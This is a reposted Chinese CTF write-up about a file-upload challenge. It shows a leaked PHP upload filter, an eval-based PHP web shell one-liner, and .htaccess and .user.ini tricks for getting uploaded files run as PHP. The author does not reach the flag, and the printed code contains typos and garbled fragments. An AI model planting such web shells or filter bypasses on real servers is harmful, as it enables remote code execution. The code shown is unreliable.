大佬教程收集整理的这篇文章主要介绍了CTF web之旅35,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
没有突破点就扫一下目录 御剑扫出upload.PHP 加上.bak 尝试一下源码泄露
<?PHP header("content-type:text/html;charset=utf-8"); $filename = $_FILES['file']['name']; $tEMP_NAMe = $_FILES['file']['tmp_name']; $size = $_FILES['file']['size']; $error = $_FILES['file']['error']; $arr = pathinfo($fileName); $ext_suffix = $arr['extension']; if ($size > 24){ die("error file zise"); } if (strlen($fileName)>9){ die("error file name"); } if(strlen($ext_suffiX)>3){ die("error suffix"); } if(preg_match("/PHP/i",$ext_suffiX)){ die("error suffix"); } if(preg_match("/PHP/i"),$fileName)){ die("error file name"); } if (move_uploaded_file($tEMP_NAMe, './'.$fileName)){ echo "文件上传成功!"; }else{ echo "文件上传失败!"; } ?>
文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和不包含后缀的文件名都不能包含PHP
<?=@eval($_POST['a']);?>或者是<?PHP eval($_POST['a']);
怎么让他当做PHP被解释执行呢 我考虑上传.htaccess文件 这是apache的配置文件如果里面包含
SetHandler application/x-httpd-PHP 设置当前所有目录都被当做PHP文件解析 无论上传任何文件 只要内容符合PHP规范 都会被当做PHP代码执行,不符合则报错 但是文件太大了 超过了字节限制 考虑上传.usr.ini 文件 里面是 auto_prepend_file =1.txt auto_prepend_file 表示在加载第一个PHP代码之前先行@R_301_2520@该配置所指示的PHP文件,在开发中不用每个PHP文件都要重复包含同一个文件 上传.usr.ini 文件后表示该目录下的所有文件都会包含a.txt的内容 websHell工具也是连不上的 最后试了其他师傅的方法也没找到flag。。 伤脑筋。。
以上是大佬教程为你收集整理的CTF web之旅35全部内容,希望文章能够帮你解决CTF web之旅35所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。